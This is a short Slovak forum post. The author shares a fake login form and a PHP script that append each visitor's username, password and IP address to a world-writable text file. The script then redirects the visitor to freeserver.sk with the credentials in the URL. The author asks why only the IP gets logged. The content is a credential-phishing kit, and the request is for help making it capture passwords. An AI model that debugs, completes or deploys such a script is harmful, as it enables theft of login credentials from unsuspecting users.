no takze skusal som to riesit takto:
Kód:
<form action="spracuj.php" method=post name="loginfrm">
<input name="username" type="text" class="textfield" />
<input name="password" type="password" class="textfield" />
<input type="submit" class="ttl" name="Submit" value="Register" /></form>
Spracuj.php
Kód:
<?php
$fp2= $_SERVER["REMOTE_ADDR"];
$fp = FOpen("subory.txt", "a");
$fp3 = 'Nick : ' . "$username" . '>' . 'Heslo : ' . "$password" . '>' . "IP : " . "$fp2" . "/n";
FPutS($fp, $fp3);
FClose($fp);
header("location: http://freeserver.sk?login=".$_POST['username']."&password=".$_POST['password']);
?>
No a samozrejme ze som si na ftp nahral aj subory.txt s CHMOD 777. ale nejako mi to vypise len Ip adresu bez nicku a hesla. kde je prosim vas chyba?